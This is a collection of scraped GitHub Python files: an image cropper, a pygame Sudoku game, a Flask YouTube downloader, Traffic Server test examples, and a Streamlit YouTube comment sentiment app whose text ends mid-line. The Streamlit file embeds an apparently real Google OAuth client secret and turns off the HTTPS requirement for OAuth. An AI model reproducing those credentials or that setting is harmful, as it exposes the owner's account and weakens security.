{"seq_id": "41316774820", "text": "import cv2, os\nfrom PIL import Image\nimport random\n\ninputFolder = r''\noutputFolder = r'Crop'\ncount = 0\nlistFile = os.listdir(inputFolder)\nfor fileName1 in os.listdir(inputFolder):\n    fileName = random.choice(listFile)\n    if ('jpg' in fileName):\n        count+=1\n        imgPath = os.path.join(inputFolder, fileName)\n        fileTxt = fileName.replace('jpg', 'txt')\n        txtPath = os.path.join(inputFolder, fileTxt)\n        img = Image.open(imgPath)\n        w, h = img.size\n        f = open(txtPath, 'r')\n        line = f.readline()\n        l = line.split(' ')\n        try:\n            centerX = float(l[1]) * w\n            centerY = float(l[2]) * h\n            width = float(l[3]) * w\n            height = float(l[4]) * h\n        except:\n            centerX = 0\n            centerY = 0\n            width = 0\n            height = 0\n        left = centerX - width/2\n        top = centerY -  height/2\n        right = left + width\n        bottom = top + height\n        # config = (tuple((centerX, centerY)), tuple((width, height)), 0)\n        # p2fRectPoints = cv2.boxPoints(config)\n        f.close()\n        imgPathOut = os.path.join(outputFolder, fileName)\n        lpImg = img.crop((left, top, right, bottom))\n        try:\n            lpImg.save(imgPathOut)\n        except:\n            continue\n    # if count == 500:\n    #     break\n\n\n", "repo_name": "trung6/yolo-object-detection", "sub_path": "crop_lp_from_image.py", "file_name": "crop_lp_from_image.py", "file_ext": "py", "file_size_in_byte": 1339, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 9, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 16, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}]}
{"seq_id": "29555556813", "text": "# Casey Levy\r\n# CS 325 - Portfolio Project\r\n# Sudoku\r\n\r\n# Code inspired/referenced from the following:\r\n# https://www.youtube.com/watch?v=eqUwSA0xI-s&feature=emb_logo\r\n# https://www.geeksforgeeks.org/sudoku-backtracking-7/\r\n# https://stackoverflow.com/questions/17605898/sudoku-checker-in-python\r\n# https://www.youtube.com/watch?v=auK3PSZoidc\r\n\r\nimport pygame as pg\r\n\r\npg.font.init()\r\nimport time\r\nfrom random import sample\r\nfrom sudoku_cert import solve_game, verify_move, check_solution\r\n\r\n\r\n# Class for each box in the game\r\nclass GameBox:\r\n    game_rows, game_cols = 9, 9\r\n\r\n    def __init__(self, val, game_row, game_col, width, height):\r\n        self.val = val\r\n        self.game_row, self.game_col = game_row, game_col\r\n        self.temp_val = 0\r\n        self.width, self.height = width, height\r\n        self.select = False\r\n\r\n    # Creating a box\r\n    def make_box(self, game_win):\r\n        game_font = pg.font.SysFont(None, 40)\r\n        space = self.width / 9\r\n        r = self.game_row * space\r\n        c = self.game_col * space\r\n\r\n        if self.temp_val != 0 and self.val == 0:\r\n            game_text = game_font.render(str(self.temp_val), 1, (128, 128, 128))\r\n            game_win.blit(game_text, (c + 5, r + 5))\r\n\r\n        elif not self.val == 0:\r\n            game_text = game_font.render(str(self.val), 1, (0, 0, 0))\r\n            game_win.blit(game_text,\r\n                          (c + (space / 2 - game_text.get_width() / 2), r + (space / 2 - game_text.get_height() / 2)))\r\n\r\n        if self.select:\r\n            pg.draw.rect(game_win, (255, 0, 0), (c, r, space, space), 3)\r\n\r\n    def set_value(self, value):\r\n        self.val = value\r\n\r\n    def set_temp_value(self, value):\r\n        self.temp_val = value\r\n\r\n\r\n# Class for buttons to solve, verify, and reset board\r\nclass GameButton:\r\n    def __init__(self, colored, i, j, width, height, button_text=''):\r\n        self.colored = colored\r\n        self.i, self.j = i, j\r\n        self.button_text = button_text\r\n        self.width, self.height = width, height\r\n\r\n    # Checking mouse position\r\n    def mouse_over(self, position):\r\n        if position[0] > self.i and position[0] < self.i + self.width:\r\n            if position[1] > self.j and position[1] < self.j + self.height:\r\n                return True\r\n\r\n        return False\r\n\r\n    def color(self, colored):\r\n        self.colored = colored\r\n\r\n    # Creating the buttons\r\n    def make_button(self, game_win, text_outline=None):\r\n        if text_outline:\r\n            pg.draw.rect(game_win, text_outline, (self.i - 2, self.j - 2, self.width + 4, self.height + 4), 0)\r\n        pg.draw.rect(game_win, self.colored, (self.i, self.j, self.width, self.height), 0)\r\n\r\n        if self.button_text != '':\r\n            game_font = pg.font.SysFont(None, 25)\r\n            game_text = game_font.render(self.button_text, 1, (255, 255, 255))\r\n            game_win.blit(game_text, (self.i + (self.width / 2 - game_text.get_width() / 2),\r\n                                      self.j + (self.height / 2 - game_text.get_height() / 2)))\r\n\r\n\r\n# Class for the 9x9 board\r\nclass GameBoard:\r\n    board = [[0 for x in range(9)] for y in range(9)]\r\n\r\n    def __init__(self, game_row, game_col, width, height):\r\n        self.game_row, self.game_col = game_row, game_col\r\n        self.width, self.height = 540, 540\r\n        self.game_model = None\r\n        self.game_base = 3\r\n        self.select = None\r\n        self.game_side = self.game_base * self.game_base\r\n        self.build_board()\r\n\r\n        self.game_boxes = [[GameBox(self.game_board[x][y], x, y, 540, 540) for x in range(game_col)] for y in\r\n                           range(game_row)]\r\n\r\n    # Creating the board\r\n    def build_board(self):\r\n        row_base = range(self.game_base)\r\n        r = [x * self.game_base + row for x in self.shuffle_board(row_base) for row in self.shuffle_board(row_base)]\r\n        c = [x * self.game_base + col for x in self.shuffle_board(row_base) for col in self.shuffle_board(row_base)]\r\n\r\n        number = self.shuffle_board(range(1, self.game_base * self.game_base + 1))\r\n        game_board = [[number[self.move_pattern(row, col)] for col in c] for row in r]  # Randomizing the board\r\n        spaces = self.game_side * self.game_side\r\n        empty_space = spaces * 3 // 4\r\n\r\n        for i in sample(range(spaces), empty_space):\r\n            game_board[i // self.game_side][i % self.game_side] = 0\r\n\r\n        self.game_board = game_board\r\n\r\n    def shuffle_board(self, shuffle):\r\n        return sample(shuffle, len(shuffle))\r\n\r\n    def move_pattern(self, row, col):\r\n        return (self.game_base * (row % self.game_base) + row // self.game_base + col) % self.game_side\r\n\r\n    # Player's moves\r\n    def move(self, value):\r\n        r, c = self.select\r\n        if self.game_boxes[r][c].val == 0:\r\n            self.game_boxes[r][c].set_value(value)\r\n            self.model()\r\n\r\n            if verify_move(self.game_model, value, (r, c)) and solve_game(self.game_model):\r\n                return True\r\n\r\n            else:\r\n                self.game_boxes[r][c].set_value(0)\r\n                self.game_boxes[r][c].set_temp_value(0)\r\n                self.model()\r\n                return False\r\n\r\n    def model(self):\r\n        self.game_model = [[self.game_boxes[x][y].val for x in range(self.game_col)] for y in range(self.game_row)]\r\n\r\n    def solve(self):\r\n        self.game_board = solve_game(self.game_board)\r\n\r\n    def make(self, game_win):\r\n        space = self.width / 9\r\n        for x in range(self.game_row + 1):\r\n            if x % 3 == 0 and x != 0:\r\n                pad = 4\r\n            else:\r\n                pad = 1\r\n\r\n            pg.draw.line(game_win, (0, 128, 128), (0, x * space), (self.width, x * space), pad)\r\n            pg.draw.line(game_win, (0, 128, 128), (x * space, 0), (x * space, self.height), pad)\r\n\r\n        for x in range(self.game_row):\r\n            for y in range(self.game_col):\r\n                self.game_boxes[x][y].make_box(game_win)\r\n\r\n    def make_temp(self, value):\r\n        r, c = self.select\r\n        self.game_boxes[r][c].set_temp_value(value)\r\n\r\n    def solved_board(self, game_win):\r\n        self.game_boxes = [[GameBox(self.game_board[x][y], x, y, 540, 540) for y in range(self.game_col)] for x in\r\n                           range(self.game_row)]\r\n        space = self.width / 9\r\n        for x in range(self.game_row + 1):\r\n            if x % 3 == 0 and x != 0:\r\n                pad = 4\r\n            else:\r\n                pad = 1\r\n\r\n            pg.draw.line(game_win, (0, 0, 0), (0, x * space), (self.width, x * space), pad)\r\n            pg.draw.line(game_win, (0, 0, 0), (x * space, 0), (x * space, self.height), pad)\r\n\r\n        for x in range(self.game_row):\r\n            for y in range(self.game_col):\r\n                self.game_boxes[x][y].make_box(game_win)\r\n\r\n    # Method to clear a box the user placed a number in\r\n    def clear(self):\r\n        r, c = self.select\r\n        if self.game_boxes[r][c].val == 0:\r\n            self.game_boxes[r][c].set_temp_value(0)\r\n\r\n    # If box is clicked by the user\r\n    def click_box(self, pos):\r\n        if pos[0] < self.width and pos[1] < self.height:\r\n            space = self.width / 9\r\n            r = pos[0] // space\r\n            c = pos[1] // space\r\n            return (int(r), int(c))\r\n        else:\r\n            return None\r\n\r\n    # Player selection\r\n    def selection(self, r, c):\r\n        for x in range(self.game_row):\r\n            for y in range(self.game_col):\r\n                self.game_boxes[x][y].select = False\r\n        self.game_boxes[r][c].select = True\r\n        self.select = (r, c)\r\n\r\n    # Completed board\r\n    def board_complete(self):\r\n        for x in range(self.game_row):\r\n            for y in range(self.game_col):\r\n                if self.game_boxes[x][y].val == 0:\r\n                    return False\r\n        return True\r\n\r\n# Setting up timer\r\ndef time_setup(sec):\r\n    minute = sec // 60\r\n    s = sec % 60\r\n    game_time = \" \" + str(minute) + \":\" + str(s)\r\n    return game_time\r\n\r\n# Resetting the board\r\ndef reset(game_win, solve, verify, reset_board, game_board, game_time, player_move):\r\n    game_win.fill((255, 255, 255))\r\n    game_font = pg.font.SysFont(None, 34)\r\n    game_text = game_font.render(time_setup(game_time), 1, (0, 0, 0))\r\n    game_win.blit(game_text, (450, 545))\r\n    game_text = game_font.render(str(player_move), 1, (0, 128, 128))\r\n    game_win.blit(game_text, (20, 545))\r\n    solve.make_button(game_win)\r\n    verify.make_button(game_win)\r\n    reset_board.make_button(game_win)\r\n    game_board.make(game_win)\r\n\r\n# Main program method\r\ndef main():\r\n    game_window = pg.display.set_mode((540, 600))\r\n    pg.display.set_caption(\"SUDOKU\")\r\n    game_board = GameBoard(9, 9, 600, 600)\r\n    button_reset = GameButton((255, 0, 191,), 250, 545, 60, 25, button_text=\"Reset\")\r\n    button_verify = GameButton((191, 0, 255), 320, 545, 60, 25, button_text=\"Verify\")\r\n    button_solve = GameButton((0, 128, 128), 390, 545, 60, 25, button_text=\"Solve!\")\r\n    key = None\r\n    game_run = True\r\n    game_start = time.time()\r\n    player_move = \"\"\r\n    while game_run:\r\n        time_passed = round(time.time() - game_start)   # Game timer\r\n        for e in pg.event.get():\r\n            if e.type == pg.QUIT:\r\n                game_run = False\r\n\r\n            if e.type == pg.KEYDOWN:    # Code for user number entries\r\n                if e.key == pg.K_1:\r\n                    key = 1\r\n                if e.key == pg.K_2:\r\n                    key = 2\r\n                if e.key == pg.K_3:\r\n                    key = 3\r\n                if e.key == pg.K_4:\r\n                    key = 4\r\n                if e.key == pg.K_5:\r\n                    key = 5\r\n                if e.key == pg.K_6:\r\n                    key = 6\r\n                if e.key == pg.K_7:\r\n                    key = 7\r\n                if e.key == pg.K_8:\r\n                    key = 8\r\n                if e.key == pg.K_9:\r\n                    key = 9\r\n\r\n                if e.key == pg.K_DELETE:   # If user wants to delete a number in a box\r\n                    game_board.clear()\r\n                    key = None\r\n\r\n                if e.type == pg.K_RETURN:\r\n                    x, y = game_board.select\r\n                    if game_board.game_boxes[x][y].temp_val != 0:\r\n                        if game_board.move(game_board.game_boxes[x][y].temp_val):\r\n                            player_move = \"Valid\"\r\n                        else:\r\n                            player_move = \"Invalid\"\r\n                        key = None\r\n\r\n            if e.type == pg.MOUSEMOTION:\r\n                pos = pg.mouse.get_pos()\r\n\r\n            if e.type == pg.MOUSEBUTTONDOWN:\r\n                pos = pg.mouse.get_pos()\r\n                mouse_click = game_board.click_box(pos)\r\n                if mouse_click:\r\n                    game_board.selection(mouse_click[0], mouse_click[1])\r\n                    key = None\r\n                if button_solve.mouse_over(pos):\r\n                    game_board.solve()\r\n                    game_board.solved_board(game_window)\r\n                    player_move = \"Board Complete! :)\"\r\n\r\n                if button_verify.mouse_over(pos):     # Verifying solutions/attempts\r\n                    if check_solution(game_board.game_board):\r\n                        player_move = \"Solution is Valid!\"\r\n                    else:\r\n                        player_move = \"Solution is Invalid!\"\r\n\r\n                if button_reset.mouse_over(pos):\r\n                    game_board = GameBoard(9, 9, 540, 540)\r\n                    player_move = \"\"\r\n                    game_start = time.time()\r\n\r\n            if game_board.board_complete() and check_solution(game_board.game_board):\r\n                player_move = \"Solution is Valid!\"\r\n\r\n        if game_board.select and key != None:\r\n            game_board.make_temp(key)\r\n\r\n        reset(game_window, button_solve, button_verify, button_reset, game_board, time_passed, player_move)\r\n        pg.display.update()\r\n\r\n\r\nmain()\r\npg.quit()\r\n", "repo_name": "CL-75/CS-325-Analysis-of-Algorithms", "sub_path": "Portfolio Project/FINAL PROJECT/sudoku.py", "file_name": "sudoku.py", "file_ext": "py", "file_size_in_byte": 11954, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.font.init", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 78, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 79, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 82, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 115, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 121, "usage_type": "call"}, {"api_name": "sudoku_cert.verify_move", "line_number": 133, "usage_type": "call"}, {"api_name": "sudoku_cert.solve_game", "line_number": 133, "usage_type": "call"}, {"api_name": "sudoku_cert.solve_game", "line_number": 146, "usage_type": "call"}, {"api_name": "pygame.draw.line", "line_number": 156, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 156, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 157, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 157, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 177, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 177, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 178, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 178, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 226, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 226, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 238, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 238, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 239, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 239, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 246, "usage_type": "call"}, {"api_name": "time.time", "line_number": 249, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 250, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 251, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 254, "usage_type": "attribute"}, {"api_name": "pygame.K_1", "line_number": 255, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 257, "usage_type": "attribute"}, {"api_name": "pygame.K_3", "line_number": 259, "usage_type": "attribute"}, {"api_name": "pygame.K_4", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pygame.K_5", "line_number": 263, "usage_type": "attribute"}, {"api_name": "pygame.K_6", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pygame.K_7", "line_number": 267, "usage_type": "attribute"}, {"api_name": "pygame.K_8", "line_number": 269, "usage_type": "attribute"}, {"api_name": "pygame.K_9", "line_number": 271, "usage_type": "attribute"}, {"api_name": "pygame.K_DELETE", "line_number": 274, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 278, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEMOTION", "line_number": 287, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 288, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 288, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 290, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 291, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 291, "usage_type": "attribute"}, {"api_name": "sudoku_cert.check_solution", "line_number": 302, "usage_type": "call"}, {"api_name": "time.time", "line_number": 310, "usage_type": "call"}, {"api_name": "sudoku_cert.check_solution", "line_number": 312, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 319, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 319, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 323, "usage_type": "call"}]}
{"seq_id": "16516026604", "text": "from flask import Flask, render_template\r\nimport yt_dlp as ytdlp\r\n\r\napp = Flask(__name__)\r\n\r\n# Helper function - for downloading videos from YouTube URL\r\ndef download_vid_as_mp3(url):\r\n\tytdlp_options = {\r\n\t    'outtmpl' : 'songs/%(title)s.%(ext)s',\r\n\t    'postprocessors' : [{\r\n\t        'key' : 'FFmpegExtractAudio',\r\n\t        'preferredcodec' : 'mp3',\r\n        }],\r\n    }\r\n\twith ytdlp.YoutubeDL(ytdlp_options) as ydl:\r\n\t\tydl.download(url)\r\n\r\n# Helper Function - for searching YouTube.\r\n# Instead of the user looking at YouTube directly,\r\n# it will be the server tapping into YouTube.\r\ndef search_vid(search_query):\r\n    ytdlp_options = {\r\n        'default_search' : 'ytsearch10',\r\n    }\r\n    with ytdlp.YoutubeDL(ytdlp_options) as ydl:\r\n        results = ydl.extract_info(search_query, download=False)['entries']\r\n        songs = []\r\n        for video_info in results:\r\n            song = {\r\n                'name' : video_info['title'],\r\n                'id' : video_info['id']\r\n            }\r\n            songs.append(song)\r\n    return songs\r\n\r\n@app.route('/tests/downloader')\r\ndef downloader_tests():\r\n\t# Link generated by YouTube app on Android\r\n\turl_song = 'https://youtu.be/wvZXe0wFttU'\r\n\tdownload_vid_as_mp3(url_song)\r\n\treturn 'Download Tester. See terminal.'\r\n\r\n@app.route('/tests/searcher')\r\ndef searcher_tests():\r\n\tsearch_query_test = 'Moranbong Band'\r\n\tresults_unfiltered = search_vid(search_query_test)\r\n\tprint(results_unfiltered)\r\n\treturn render_template('searchtest.html', title=\"Search Tester\", results=results_unfiltered)\r\n\r\n@app.route('/')\r\ndef hello():\r\n\treturn render_template('main.html', title=\"Hoie\")\r\n    #return 'Hello, World!'\r\n    \r\n@app.route('/admin')\r\ndef admin():\r\n\treturn 'Admin Page Here for downloading songs'\r\n\t", "repo_name": "rekkitcwts/mingmai", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1746, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "yt_dlp.YoutubeDL", "line_number": 15, "usage_type": "call"}, {"api_name": "yt_dlp.YoutubeDL", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 52, "usage_type": "call"}]}
{"seq_id": "8907851187", "text": "import tsqa.test_cases\nimport requests\n\n\nclass HelloWorld(tsqa.test_cases.EnvironmentCase):\n    '''\n    This is the trivial example of a TestCase. The parent class (in this case\n    EnvironmentCase) is responsible for all the heavy lifting. By the time\n    test_base is called EnvironmentCase will have aquired a unique environment,\n    configured ATS, and started ATS.\n    '''\n    def test_base(self):\n        # for example, you could send a request to ATS and check the response\n        ret = requests.get('http://127.0.0.1:{0}/'.format(self.configs['records.config']['CONFIG']['proxy.config.http.server_ports']))\n\n        # you also have access to your own logger.\n        self.log('Something interesting to log')\n\n        self.assertEqual(ret.status_code, 404)\n        self.assertIn('ATS', ret.headers['server'], 'message to print on test failure')\n\n\nclass OverrideConfigureFlags(tsqa.test_cases.EnvironmentCase):\n    '''\n    The default getEnv() uses EnvironmentFactory to build trafficserver from\n    source with given environment/configure options. You can override these\n    values for a test class using the attribute \"environment_factory\"\n    '''\n    # Override the build options for environment factory\n    environment_factory = {\n        'env': {'ENV_VAR': 'VALUE'},\n        'configure': {'enable-spdy': None},\n    }\n\n\nclass FeatureRequirement(tsqa.test_cases.CloneEnvironmentCase):\n    '''\n    CloneEnvironmentCase will clone an environment (instead of building). You can\n    declare dependencies on various features in trafficserver based on the output\n    from traffic_layout. If the requirements aren't met your test will be skipped\n    '''\n    feature_requirements = {'TS_HAS_WCCP': 0}\n\n\nclass ConfiguredCase(tsqa.test_cases.EnvironmentCase):\n    '''\n    This is the trivial example of a TestCase. The parent class (in this case\n    EnvironmentCase) is responsible for all the heavy lifting. By the time\n    test_base is called EnvironmentCase will have aquired a unique environment,\n    configured ATS, and started ATS.\n    '''\n    @classmethod\n    def setUpEnv(cls, env):\n        '''\n        This funciton is responsible for setting up the environment for this fixture\n        This includes everything pre-daemon start.\n\n        You are passed in cls (which is the instance of this class) and env (which\n        is an environment object)\n        '''\n        # we can modify any/all configs (note: all pre-daemon start)\n        cls.configs['remap.config'].add_line('map / http://http://trafficserver.readthedocs.org/')\n\n        # Some configs have nicer wrapper objects to give you a more pythonic interface\n        cls.configs['records.config']['CONFIG'].update({\n            'proxy.config.log.squid_log_enabled': 1,\n            'proxy.config.log.squid_log_is_ascii': 1,\n        })\n", "repo_name": "ep-infosec/trafficserver-qa", "sub_path": "examples/environment_cases.py", "file_name": "environment_cases.py", "file_ext": "py", "file_size_in_byte": 2801, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tsqa.test_cases.test_cases", "line_number": 5, "usage_type": "attribute"}, {"api_name": "tsqa.test_cases", "line_number": 5, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "tsqa.test_cases.test_cases", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tsqa.test_cases", "line_number": 23, "usage_type": "name"}, {"api_name": "tsqa.test_cases.test_cases", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tsqa.test_cases", "line_number": 36, "usage_type": "name"}, {"api_name": "tsqa.test_cases.test_cases", "line_number": 45, "usage_type": "attribute"}, {"api_name": "tsqa.test_cases", "line_number": 45, "usage_type": "name"}]}
{"seq_id": "15275444165", "text": "#Data Collection\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport urllib.parse as p\nimport os\nimport pickle\n\n#Data Manipulations\nimport pandas as pd\nimport numpy as np\nimport re\n\n#Text Preprocessing \n#import contractions\nimport nltk\nnltk.download('punkt')\nnltk.download('stopwords')\nnltk.download('averaged_perceptron_tagger')\nnltk.download('wordnet')\nnltk.download('vader_lexicon')\n\nfrom nltk.tokenize.toktok import ToktokTokenizer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import wordnet , stopwords\nfrom nltk.stem import WordNetLemmatizer\n\n#Sentiment analysis\nfrom textblob import TextBlob \nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\n#Visualizations\nimport plotly\nimport plotly.graph_objects as go\nimport plotly.express as px\n\n#Widgets and Interactoins \nimport streamlit as st\n\nheader = st.beta_container()\ndataset = st.beta_container()\nfeatures = st.beta_container()\nmodel_training = st.beta_container()\n\nwith header:\n\tst.title(' Youtube Opinion Mining for the Burgeoning Creator ')\n\tst.header(\"Youtube Comment Sentiment Analysis\")\n\tst.text('This tool allows you to automatically analyse the opinions of your comment section!')\n\turl_input = st.text_input('Enter Youtube Video Link')\n\tclient_secret={\"installed\":{\"client_id\":\"552781266117-lmvt9f6566pa9h6f4h75v29e19h311va.apps.googleusercontent.com\",\"project_id\":\"youtube-comment-project-v3\",\"auth_uri\":\"https://accounts.google.com/o/oauth2/auth\",\"token_uri\":\"https://oauth2.googleapis.com/token\",\"auth_provider_x509_cert_url\":\"https://www.googleapis.com/oauth2/v1/certs\",\"client_secret\":\"jSz-cLr3CC0av9NUAXKpptAt\",\"redirect_uris\":[\"urn:ietf:wg:oauth:2.0:oob\",\"http://localhost\"]}}\n\tSCOPES = [\"https://www.googleapis.com/auth/youtube.force-ssl\"]\n\n\tVideo_URL_Input=url_input\n\n#-----------------------------------------------------------------------------------------------------------------------\nst.balloons() \ndef youtube_authenticate():\n    os.environ[\"OAUTHLIB_INSECURE_TRANSPORT\"] = \"1\"\n    api_service_name = \"youtube\"\n    api_version = \"v3\"\n    client_secrets_file = client_secret\n    creds = None\n    # the file token.pickle stores the user's access and refresh tokens, and is\n    # created automatically when the authorization flow completes for the first time\n    if os.path.exists(\"token.pickle\"):\n        with open(\"token.pickle\", \"rb\") as token:\n            creds = pickle.load(token)\n    # if there are no (valid) credentials availablle, let the user log in.\n    if not creds or not creds.valid:\n        if creds and creds.expired and creds.refresh_token:\n            creds.refresh(Request())\n        else:\n            #flow = InstalledAppFlow.from_client_secrets_file(client_secrets_file, SCOPES)\n            flow = InstalledAppFlow.from_client_config(client_secrets_file, SCOPES)\n            creds = flow.run_local_server(port=0)\n        # save the credentials for the next run\n        with open(\"token.pickle\", \"wb\") as token:\n            pickle.dump(creds, token)\n\n    return build(api_service_name, api_version, credentials=creds)\n\n# authenticate to YouTube API\nyoutube = youtube_authenticate()\n\n#-----------------------------------------------------------------------------------------------------------------------\ndef get_channel_id_by_url(youtube, url):\n    \"\"\"\n    Returns channel ID of a given `id` and `method`\n    - `method` (str): can be 'c', 'channel', 'user'\n    - `id` (str): if method is 'c', then `id` is display name\n        if method is 'channel', then it's channel id\n        if method is 'user', then it's username\n    \"\"\"\n    # parse the channel URL\n    method, id = parse_channel_url(url)\n    if method == \"channel\":\n        # if it's a channel ID, then just return it\n        return id\n    elif method == \"user\":\n        # if it's a user ID, make a request to get the channel ID\n        response = get_channel_details(youtube, forUsername=id)\n        items = response.get(\"items\")\n        if items:\n            channel_id = items[0].get(\"id\")\n            return channel_id\n    elif method == \"c\":\n        # if it's a channel name, search for the channel using the name\n        # may be inaccurate\n        response = search(youtube, q=id, maxResults=1)\n        items = response.get(\"items\")\n        if items:\n            channel_id = items[0][\"snippet\"][\"channelId\"]\n            return channel_id\n    raise Exception(f\"Cannot find ID:{id} with {method} method\")\n\n#-----------------------------------------------------------------------------------------------------------------------\n\n\ndef get_video_id_by_url(url):\n    \"\"\"\n    Return the Video ID from the video `url`\n    \"\"\"\n    # split URL parts\n    parsed_url = p.urlparse(url)\n    # get the video ID by parsing the query of the URL\n    video_id = p.parse_qs(parsed_url.query).get(\"v\")\n    if video_id:\n        return video_id[0]\n    else:\n        raise Exception(f\"Wasn't able to parse video URL: {url}\")\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef get_video_details(youtube, **kwargs):\n    return youtube.videos().list(\n        part=\"snippet,contentDetails,statistics\",\n        **kwargs\n    ).execute()\n#-----------------------------------------------------------------------------------------------------------------------\n\ndf_title = pd.DataFrame(columns=['title'])\ndef print_video_infos(video_response):\n    items = video_response.get(\"items\")[0]\n    # get the snippet, statistics & content details from the video response\n    snippet         = items[\"snippet\"]\n    statistics      = items[\"statistics\"]\n    content_details = items[\"contentDetails\"]\n    # get infos from the snippet\n    channel_title = snippet[\"channelTitle\"]\n    title         = snippet[\"title\"]\n    description   = snippet[\"description\"]\n    publish_time  = snippet[\"publishedAt\"]\n    # get stats infos\n    comment_count = statistics[\"commentCount\"]\n    like_count    = statistics[\"likeCount\"]\n    dislike_count = statistics[\"dislikeCount\"]\n    view_count    = statistics[\"viewCount\"]\n    # get duration from content details\n    duration = content_details[\"duration\"]\n    # duration in the form of something like 'PT5H50M15S'\n    # parsing it to be something like '5:50:15'\n    parsed_duration = re.search(f\"PT(\\d+H)?(\\d+M)?(\\d+S)\", duration).groups()\n    duration_str = \"\"\n    for d in parsed_duration:\n        if d:\n            duration_str += f\"{d[:-1]}:\"\n    duration_str = duration_str.strip(\":\")\n    df_title = pd.DataFrame(columns=['title'])\n    df_channel = pd.DataFrame(columns=['channel_title'])\n    df_views = pd.DataFrame(columns=['view_count'])\n    df_likes = pd.DataFrame(columns=['like_count'])\n    df_dislikes = pd.DataFrame(columns=['dislike_count'])\n\n    \n    \n    df_title = df_title.append({'title': title},ignore_index=True)\n    df_channel = df_channel.append({'channel_title': channel_title},ignore_index=True)\n    df_views = df_views.append({'view_count': view_count},ignore_index=True)\n    df_likes = df_likes.append({'like_count': like_count},ignore_index=True)\n    df_dislikes = df_dislikes.append({'dislike_count': dislike_count},ignore_index=True)\n    \n    frames = [df_title,df_channel,df_views,df_likes,df_dislikes]\n    df_meta=pd.concat(frames,axis=1)\n    return(df_meta)\n#-----------------------------------------------------------------------------------------------------------------------\n\ndef get_comments(youtube, **kwargs):\n    return youtube.commentThreads().list(\n        part=\"snippet\",\n        **kwargs\n    ).execute()\n#-----------------------------------------------------------------------------------------------------------------------\nurl = Video_URL_Input\ndf_comments = pd.DataFrame(columns=['textOriginal'])\n#df_title1 = pd.DataFrame(columns=['title1'])\ndf_update = 